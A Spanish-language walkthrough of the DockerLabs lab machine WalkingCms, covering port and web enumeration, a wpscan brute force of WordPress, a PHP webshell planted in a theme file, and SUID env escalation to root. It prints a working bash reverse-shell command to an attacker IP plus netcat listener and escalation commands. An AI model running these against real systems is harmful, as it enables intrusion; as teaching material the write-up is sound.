WalkingCms
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»En este artículo se documenta la resolución completa de la máquina virtual WalkingCms, creada por El Pingüino de Mario y clasificada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible, estructurada y didáctica, explicando qué se hizo, por qué se realizó cada acción y cómo identificar patrones similares en otros entornos.
El proceso se desarrolla en tres fases:
- Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
- Explotación – Obtención de acceso inicial aprovechando vulnerabilidades en WordPress.
- Escalada de privilegios – Abuso de configuraciones inseguras (
SUID,cron,sudo) para obtener privilegios deroot.
⚠️ Aviso: Todas las acciones descritas se realizaron en un entorno controlado de laboratorio. No ejecutes pruebas intrusivas fuera de entornos autorizados.
Información general
Sección titulada «Información general»| Atributo | Detalle |
|---|---|
| Nombre | WalkingCms |
| Autor | El Pingüino de Mario |
| Dificultad | Fácil |
| Fecha de creación | 09/04/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»-
Descomprimir el paquete descargado desde DockerLabs:
Ventana de terminal unzip WalkingCms.zip -
Desplegar el contenedor con el script de instalación:
Ventana de terminal sudo bash auto_deploy.sh WalkingCms.tar
El script levanta automáticamente el contenedor Docker con los servicios necesarios y muestra la IP asignada al finalizar. Guarda esta dirección, ya que se utilizará durante el reconocimiento.
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización de trabajo
Sección titulada «1.1 Organización de trabajo»Creamos una estructura de carpetas para mantener orden y evidencia:
mkdir -p WalkingCms/{content,exploits,nmap,scripts}cd WalkingCmsConsejo: mantener los resultados organizados desde el inicio facilita la documentación y el análisis final.

1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Ejecutamos un barrido completo de puertos con Nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos detectados:
extractPorts allPorts
Resultados:
| Puerto | Servicio | Descripción |
|---|---|---|
| 80/tcp | HTTP | Sitio web principal (posible CMS) |
1.3 Enumeración web
Sección titulada «1.3 Enumeración web»Enumeramos rutas y recursos disponibles con Gobuster:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200 -o gobuster.txt
Rutas encontradas:
/index.php– Página principal del sitio.
/wordpress– Instalación activa de WordPress.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»Confirmamos que el servidor ejecuta WordPress, por lo que procedemos con una enumeración de usuarios y plugins usando wpscan:
wpscan --url http://172.17.0.2/wordpress/ --enumerate u,vpEl escaneo revela un usuario válido:

2.1 Ataque de fuerza bruta (Wpscan)
Sección titulada «2.1 Ataque de fuerza bruta (Wpscan)»Con el usuario mario identificado, intentamos un ataque de fuerza bruta utilizando el diccionario rockyou.txt:
wpscan --url http://172.17.0.2/wordpress/ -U mario -P /usr/share/wordlists/rockyou.txt
La herramienta encuentra credenciales válidas de acceso al panel administrativo.
2.2 Acceso al sistema
Sección titulada «2.2 Acceso al sistema»Con las credenciales obtenidas accedemos a wp-admin y aprovechamos la capacidad de subir archivos mediante la edición de temas o plugins.
Subimos una webshell PHP dentro del tema activo (twentytwentytwo), modificando el archivo index.php:

Desde el navegador ejecutamos la shell con una reverse shell codificada:
http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/index.php?cmd=bash -c "bash -i >& /dev/tcp/192.168.1.39/443 0>&1"En nuestra máquina atacante escuchamos con Netcat:
nc -lvnp 443Conexión establecida como usuario www-data.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»Buscamos binarios con el bit SUID activado:
find / -perm -4000 2>/dev/nullEncontramos que el binario /usr/bin/env tiene el bit SUID activo:

Ejecutamos el siguiente comando para escalar privilegios:
env /bin/sh -p¡Acceso root conseguido!

Conclusión y aprendizajes
Sección titulada «Conclusión y aprendizajes»Cadena de explotación
Sección titulada «Cadena de explotación»- Enumeración: Descubrimiento de instalación WordPress.
- Explotación: Fuerza bruta exitosa sobre credenciales del usuario
mario. - Acceso inicial: Carga de una webshell mediante el editor de temas.
- Escalada de privilegios: Uso indebido del bit SUID en
/usr/bin/env.
Fallos de seguridad identificados
Sección titulada «Fallos de seguridad identificados»- Credenciales débiles reutilizadas.
- Permitir la edición de temas desde el panel de WordPress.
- Binarios con bit SUID activado de forma insegura (
env).
Recomendaciones (remediación)
Sección titulada «Recomendaciones (remediación)»- Implementar contraseñas robustas y rotación periódica.
- Desactivar la edición de archivos desde el panel de WordPress (
DISALLOW_FILE_EDITenwp-config.php). - Revisar y restringir los permisos SUID a los binarios estrictamente necesarios.
- Actualizar plugins, temas y la versión de WordPress regularmente.